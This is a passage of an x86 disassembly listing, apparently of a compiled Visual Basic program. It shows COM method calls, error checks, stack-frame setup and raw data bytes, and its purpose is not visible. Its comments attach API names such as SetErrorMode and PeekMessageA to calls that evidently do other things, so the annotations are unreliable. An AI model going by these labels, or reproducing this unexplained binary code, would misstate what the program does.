		call	edi	; PeekMessageA
		mov	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-24h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-90h]
		call	edi	; PeekMessageA
		mov	eax, [ebx]
		lea	ecx, [ebp-0E8h]
		lea	edx, [ebp-90h]
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_41C4EB
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C4EB:				; CODE XREF: .data:0041C4D7j
		xor	eax, eax
		cmp	word ptr [ebp-0E8h], 0FFFFh
		lea	ecx, [ebp-90h]
		lea	edx, [ebp-8Ch]
		setz	al
		neg	eax
		mov	[ebp-0F0h], eax
		push	ecx
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-84h]
		push	eax
		lea	edx, [ebp-80h]
		push	ecx
		push	edx
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		cmp	word ptr [ebp-0F0h], 0
		jz	loc_41C8A6
		mov	eax, [ebp-20h]
		mov	ebx, [ebx]
		push	offset sub_4020CC
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-24h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-90h]
		call	edi	; PeekMessageA
		mov	esi, [ebp+8]
		push	eax
		push	esi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41C5B4
		push	718h
		push	401CBCh
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C5B4:				; CODE XREF: .data:0041C5A0j
		lea	eax, [ebp-90h]
		lea	ecx, [ebp-8Ch]
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		jmp	loc_41C8A6
; ---------------------------------------------------------------------------


loc_41C5E4:				; CODE XREF: .data:0041BD4Cj
		mov	edx, [ebp-20h]
		push	offset sub_4020CC
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		push	eax
		mov	eax, [ebp-7Ch]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-90h]
		call	edi	; PeekMessageA
		mov	edx, [ebx]
		lea	eax, [ebp-0E8h]
		lea	ecx, [ebp-90h]
		push	eax
		push	ecx
		push	ebx
		call	dword ptr [edx+700h]
		test	eax, eax
		jge	short loc_41C669
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C669:				; CODE XREF: .data:0041C655j
		xor	edx, edx
		cmp	word ptr [ebp-0E8h], 0FFFFh
		lea	eax, [ebp-90h]
		lea	ecx, [ebp-8Ch]
		setz	dl
		neg	edx
		mov	[ebp-0F0h], edx
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		cmp	word ptr [ebp-0F0h], 0
		jz	loc_41C75F
		mov	edx, [ebp-20h]
		mov	ebx, [ebx]
		push	offset sub_4020CC
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		push	eax
		mov	eax, [ebp-7Ch]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-90h]
		call	edi	; PeekMessageA
		mov	edx, ebx
		mov	ebx, [ebp+8]
		push	eax
		push	ebx
		call	dword ptr [edx+718h]
		test	eax, eax
		jge	short loc_41C734
		push	718h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C734:				; CODE XREF: .data:0041C720j
		lea	eax, [ebp-90h]
		lea	ecx, [ebp-8Ch]
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h


loc_41C75F:				; CODE XREF: .data:0041C6B1j
		mov	edx, [ebp-20h]
		push	offset sub_4020CC
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		mov	eax, [ebp-38h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		mov	edx, [ebx]
		lea	eax, [ebp-0E8h]
		lea	ecx, [ebp-8Ch]
		push	eax
		push	ecx
		push	ebx
		call	dword ptr [edx+700h]
		test	eax, eax
		jge	short loc_41C7D2
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C7D2:				; CODE XREF: .data:0041C7BEj
		xor	edx, edx
		cmp	word ptr [ebp-0E8h], 0FFFFh
		lea	eax, [ebp-8Ch]
		lea	ecx, [ebp-88h]
		setz	dl
		neg	edx
		mov	[ebp-0F0h], edx
		push	eax
		lea	edx, [ebp-84h]
		push	ecx
		lea	eax, [ebp-80h]
		push	edx
		push	eax
		push	4
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h
		cmp	word ptr [ebp-0F0h], 0
		jz	loc_41C8A6
		mov	ecx, [ebp-20h]
		mov	ebx, [ebx]
		push	offset sub_4020CC
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-38h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		push	eax
		mov	eax, [ebp-24h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		mov	esi, [ebp+8]
		push	eax
		push	esi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41C882
		push	718h
		push	401CBCh
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C882:				; CODE XREF: .data:0041C86Ej
		lea	ecx, [ebp-8Ch]
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	4
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h


loc_41C8A6:				; CODE XREF: .data:0041C533j
					; .data:0041C5DFj ...
		mov	dword ptr [ebp-4], 0
		wait
		push	403D10h
		jmp	short loc_41C906
; ---------------------------------------------------------------------------
		db 8Dh,	95h, 70h
		dd 8DFFFFFFh, 0FFFF7485h, 8D8D52FFh, 0FFFFFF78h, 7C958D50h
		dd 51FFFFFFh, 5280458Dh, 0FF056A50h, 4010D815h,	18C48300h
		dd 0FF6C8D8Dh, 15FFFFFFh, 40111Ch, 0FF4C8D8Dh, 958DFFFFh
		dd 0FFFFFF5Ch, 26A5251h, 101C15FFh, 0C4830040h
		db 0Ch,	0C3h
; ---------------------------------------------------------------------------


loc_41C906:				; CODE XREF: .data:0041C8B3j
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-20h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-24h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-2Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-30h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-48h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-4Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-50h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-60h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-70h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-74h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-78h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-7Ch]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 51FF088Bh, 0FC458B08h, 5FEC4D8Bh,	0D89645Eh
		dd 0
		dd 5DE58B5Bh, 900004C2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 401138h
		xor	edi, edi
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+4]
		mov	edx, [ebp+0Ch]
		mov	[ebp-18h], edi
		mov	[ebp-1Ch], edi
		mov	[ebp-20h], edi
		mov	[ebp-24h], edi
		mov	[ebp-28h], edi
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi
		mov	[ebp-34h], edi
		mov	[ebp-38h], edi
		mov	[ebp-48h], edi
		mov	[ebp-58h], edi
		mov	[ebp-5Ch], edi
		mov	[ebp-90h], edi
		mov	edi, dword ptr ds:loc_4010CF+1
		lea	ecx, [ebp-1Ch]
		call	edi	; PeekMessageA
		mov	edx, [ebp+10h]
		lea	ecx, [ebp-20h]
		call	edi	; PeekMessageA
		mov	edx, [ebp+14h]
		lea	ecx, [ebp-18h]
		call	edi	; PeekMessageA
		mov	edx, [ebp+18h]
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-20h]
		mov	edi, dword ptr ds:loc_401026+2
		mov	ebx, [esi]
		lea	ecx, [ebp-90h]
		push	ecx
		push	offset sub_4020CC
		push	edx
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	esi
		call	dword ptr [ebx+704h]
		test	eax, eax
		jge	short loc_41CA55
		push	704h
		push	401CBCh
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C


loc_41CA55:				; CODE XREF: .data:0041CA41j
		xor	ebx, ebx
		lea	ecx, [ebp-2Ch]
		cmp	[ebp-90h], bx
		setz	bl
		neg	ebx
		call	dword ptr ds:loc_401118
		test	bx, bx
		jz	short loc_41CAB0
		mov	eax, [ebp-20h]
		mov	ebx, [esi]
		push	offset sub_4020CC
		push	eax
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	esi
		call	dword ptr [ebx+710h]
		test	eax, eax
		jge	short loc_41CAA7
		push	710h
		push	401CBCh
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C


loc_41CAA7:				; CODE XREF: .data:0041CA93j
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401118


loc_41CAB0:				; CODE XREF: .data:0041CA6Fj
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-28h]
		push	ecx
		push	edx
		call	edi	; PeekMessageA
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	edi	; PeekMessageA
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-48h], ecx
		mov	[ebp-40h], eax
		sub	esp, 10h
		mov	[edx], ecx
		mov	ecx, [ebp-44h]
		mov	[edx+4], ecx
		mov	ecx, esp
		push	2
		push	16h
		mov	[edx+8], eax
		mov	eax, [ebp-3Ch]
		push	esi
		mov	[edx+0Ch], eax
		mov	edx, [ebp-78h]
		mov	eax, 3
		mov	[ecx], eax
		mov	eax, 1
		mov	[ecx+4], edx
		mov	[ecx+8], eax
		mov	eax, [ebp-70h]
		mov	[ecx+0Ch], eax
		mov	ecx, [esi]
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-38h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 30h
		lea	ecx, [ebp-5Ch]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010C0
		lea	edx, [ebp-5Ch]
		lea	eax, [ebp-24h]
		push	edx
		push	eax
		call	dword ptr ds:loc_401010
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401118
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-58h]
		lea	edx, [ebp-48h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	eax, [ebp-20h]
		add	esp, 0Ch
		push	offset sub_4020CC
		push	eax
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_4020D8
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	ecx, [ebp-1Ch]
		push	eax
		push	ecx
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-34h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	1
		push	0FFFFFFFFh
		push	220h
		call	dword ptr ds:loc_4010BB+1
		lea	edx, [ebp-34h]
		lea	eax, [ebp-30h]
		push	edx
		lea	ecx, [ebp-2Ch]
		push	eax
		push	ecx
		push	3
		call	dword ptr ds:loc_4010D5+3
		add	esp, 10h
		lea	edx, [ebp-24h]
		push	1
		push	edx
		push	4020F0h
		call	dword ptr ds:loc_401068
		push	1
		call	dword ptr ds:loc_401058
		push	403FF8h
		jmp	short loc_41CC29
; ---------------------------------------------------------------------------
		db 8Dh,	45h, 0CCh
		dd 50D04D8Dh, 51D4558Dh, 0FF036A52h, 4010D815h,	10C48300h
		dd 0FFC84D8Dh, 40111C15h, 0A8458D00h, 50B84D8Dh, 0FF026A51h
		dd 40101C15h, 0CC48300h, 52A4558Dh, 15FF006Ah, 401034h
		db 0C3h
; ---------------------------------------------------------------------------


loc_41CC29:				; CODE XREF: .data:0041CBE7j
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-20h]
		call	esi	; SetErrorMode
		lea	eax, [ebp-24h]
		push	eax
		push	0
		call	dword ptr ds:loc_401032+2
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 51FF088Bh, 0FC458B08h, 5FEC4D8Bh,	0D89645Eh
		dd 0
		dd 5DE58B5Bh, 900014C2h, 2 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_401148
		xor	esi, esi
		mov	[ebp-4], esi
		mov	edi, [ebp+8]
		push	edi
		mov	eax, [edi]
		call	dword ptr [eax+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-44h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-2Ch], esi
		mov	[ebp-30h], esi
		mov	[ebp-40h], esi
		mov	[ebp-44h], esi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		mov	[ebp-68h], esi
		mov	[ebp-78h], esi
		mov	[ebp-88h], esi
		mov	[ebp-98h], esi
		mov	[ebp-0A8h], esi
		mov	[ebp-0B8h], esi
		mov	[ebp-0C8h], esi
		mov	[ebp-0D8h], esi
		call	dword ptr ds:loc_4010CF+1
		mov	esi, dword ptr ds:loc_4010F3+1
		lea	edx, [ebp+10h]
		lea	ecx, [ebp-40h]
		call	esi	; SetErrorMode
		lea	edx, [ebp+20h]
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		mov	ecx, [ebp-44h]
		push	offset sub_402854
		push	ecx
		call	dword ptr ds:loc_401026+2
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-44h]
		mov	esi, dword ptr ds:loc_4010A7+1
		mov	eax, 8
		mov	[ebp-0C0h], edx
		mov	[ebp-0A8h], eax
		mov	[ebp-0B8h], eax
		mov	[ebp-0C8h], eax
		mov	[ebp-0D8h], eax
		lea	eax, [ebp-0A8h]
		lea	ecx, [ebp-28h]
		push	eax
		lea	edx, [ebp-58h]
		push	ecx
		push	edx
		mov	dword ptr [ebp-0A0h], 401FB8h
		mov	dword ptr [ebp-0B0h], 402874h
		mov	dword ptr [ebp-0D0h], 40287Ch
		call	esi	; SetErrorMode
		push	eax
		lea	eax, [ebp-0B8h]
		lea	ecx, [ebp-68h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		push	eax
		lea	edx, [ebp-40h]
		lea	eax, [ebp-78h]
		push	edx
		push	eax
		call	esi	; SetErrorMode
		lea	ecx, [ebp-0C8h]
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		push	edx
		call	esi	; SetErrorMode
		push	eax
		lea	eax, [ebp-0D8h]
		lea	ecx, [ebp-98h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	esi, dword ptr ds:loc_401013+1
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-18h]
		call	ebx	; GetShortPathNameA
		lea	edx, [ebp-98h]
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-78h]
		push	eax
		lea	edx, [ebp-68h]
		push	ecx
		lea	eax, [ebp-58h]
		push	edx
		push	eax
		push	5
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-30h]
		add	esp, 18h
		push	ecx
		push	edx
		call	dword ptr ds:loc_401026+2
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-58h], ecx
		mov	[ebp-50h], eax
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-54h]
		push	16h
		push	edi
		mov	[edx+4], ecx
		mov	ecx, [edi]
		mov	[edx+8], eax
		mov	eax, [ebp-4Ch]
		mov	[edx+0Ch], eax
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-48h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 20h
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-68h]
		lea	edx, [ebp-58h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch
		push	offset sub_404281
		jmp	short loc_41CEAE
; ---------------------------------------------------------------------------
		db 8Dh
		dd 15FFB84Dh, 40111Ch, 0FF68858Dh, 8D8DFFFFh, 0FFFFFF78h
		dd 88558D50h, 98458D51h, 0A84D8D52h, 56A5150h, 101C15FFh
		dd 0C4830040h
		db 18h,	0C3h
; ---------------------------------------------------------------------------


loc_41CEAE:				; CODE XREF: .data:0041CE7Dj
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-2Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-30h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-40h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-44h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 28C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 0A0h
		call	sub_419E48
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-14h], 401158h
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		mov	edx, [ebp+8]
		push	edx
		call	dword ptr [ecx+4]
		mov	dword ptr [ebp-4], 1
		mov	dword ptr [ebp-4], 2
		mov	dword ptr [ebp-40h], 80020004h
		mov	dword ptr [ebp-48h], 0Ah
		lea	eax, [ebp-48h]
		push	eax
		call	dword ptr ds:loc_4010C3+1
		mov	[ebp-80h], ax
		mov	dword ptr [ebp-88h], 2
		lea	edx, [ebp-88h]
		lea	ecx, [ebp-34h]
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_40100C
		mov	dword ptr [ebp-4], 3
		push	0FFFFFFFFh
		call	dword ptr ds:loc_401039+3
		mov	dword ptr [ebp-4], 4
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx]
		push	edx
		lea	eax, [ebp-34h]
		push	eax
		call	dword ptr ds:loc_4010A9+3
		push	eax
		push	0FFFFFFFFh
		push	1
		call	dword ptr ds:loc_4010BB+1
		mov	dword ptr [ebp-4], 5
		call	dword ptr ds:loc_4010E4
		push	eax
		lea	ecx, [ebp-38h]
		push	ecx
		call	dword ptr ds:loc_401038
		mov	[ebp-0A0h], eax
		lea	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-0A0h]
		mov	ecx, [eax]
		mov	edx, [ebp-0A0h]
		push	edx
		call	dword ptr [ecx+1Ch]
		fnclex
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jge	short loc_41D02A
		push	1Ch
		push	40288Ch
		mov	eax, [ebp-0A0h]
		push	eax
		mov	ecx, [ebp-0A4h]
		push	ecx
		call	dword ptr ds:loc_40102C
		mov	[ebp-0BCh], eax
		jmp	short loc_41D034
; ---------------------------------------------------------------------------


loc_41D02A:				; CODE XREF: .data:0041D005j
		mov	dword ptr [ebp-0BCh], 0


loc_41D034:				; CODE XREF: .data:0041D028j
		mov	dword ptr [ebp-50h], 0
		mov	dword ptr [ebp-58h], 0Bh
		mov	dword ptr [ebp-40h], 0FFFFFFFFh
		mov	dword ptr [ebp-48h], 0Bh
		xor	edx, edx
		cmp	dword ptr [ebp-9Ch], 0
		setz	dl
		neg	edx
		mov	[ebp-70h], dx
		mov	dword ptr [ebp-78h], 0Bh
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-48h]
		push	ecx
		lea	edx, [ebp-78h]
		push	edx
		lea	eax, [ebp-68h]
		push	eax
		call	dword ptr ds:loc_4010CF+5
		lea	ecx, [ebp-68h]
		push	ecx
		call	dword ptr ds:loc_4010A9+3
		mov	[ebp-24h], ax
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		lea	edx, [ebp-68h]
		push	edx
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-48h]
		push	ecx
		lea	edx, [ebp-78h]
		push	edx
		push	4
		call	dword ptr ds:loc_401019+3
		add	esp, 14h
		mov	dword ptr [ebp-4], 6
		lea	eax, [ebp-34h]
		push	eax
		call	dword ptr ds:loc_4010A9+3
		push	eax
		call	dword ptr ds:loc_401058
		mov	dword ptr [ebp-4], 7
		call	dword ptr ds:loc_4010E4
		push	eax
		lea	ecx, [ebp-38h]
		push	ecx
		call	dword ptr ds:loc_401038
		mov	[ebp-0A0h], eax
		push	0
		mov	edx, [ebp-0A0h]
		mov	eax, [edx]
		mov	ecx, [ebp-0A0h]
		push	ecx
		call	dword ptr [eax+20h]
		fnclex
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jge	short loc_41D12F
		push	20h
		push	40288Ch
		mov	edx, [ebp-0A0h]
		push	edx
		mov	eax, [ebp-0A4h]
		push	eax
		call	dword ptr ds:loc_40102C
		mov	[ebp-0C0h], eax
		jmp	short loc_41D139
; ---------------------------------------------------------------------------


loc_41D12F:				; CODE XREF: .data:0041D10Aj
		mov	dword ptr [ebp-0C0h], 0


loc_41D139:				; CODE XREF: .data:0041D12Dj
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		push	40451Ch
		jmp	short loc_41D16A
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 0C8h
		dd 111C15FFh, 4D8D0040h, 558D5198h, 458D52A8h, 36A50B8h
		dd 101C15FFh, 0C4830040h
		db 10h,	0C3h
; ---------------------------------------------------------------------------


loc_41D16A:				; CODE XREF: .data:0041D147j
		lea	ecx, [ebp-34h]
		call	dword ptr ds:loc_40100C
		retn
; ---------------------------------------------------------------------------
		dd 8B084D8Bh, 8458B11h,	852FF50h, 66104D8Bh, 66DC558Bh
		dd 458B1189h, 0E04D8BF0h, 0D8964h, 5F000000h, 0E58B5B5Eh
		dd 0CC25Dh, 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_401198
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-1Ch]
		mov	[ebp-18h], esi
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	[ebp-30h], esi
		call	dword ptr ds:loc_4010CF+1
		lea	eax, [ebp-30h]
		lea	edx, [ebp-1Ch]
		push	10h
		push	eax
		mov	[ebp-28h], edx
		mov	dword ptr [ebp-30h], 4008h
		call	dword ptr ds:loc_4010AD+3
		mov	edx, eax
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-18h]
		push	ecx
		push	4028A0h
		call	dword ptr ds:loc_40105B+5
		neg	eax
		sbb	eax, eax
		mov	[ebp-20h], eax
		push	offset sub_4045EF
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B500845h, 852FF10h,	6610458Bh, 66E04D8Bh, 458B0889h
		dd 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h, 0CC25Dh, 2 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
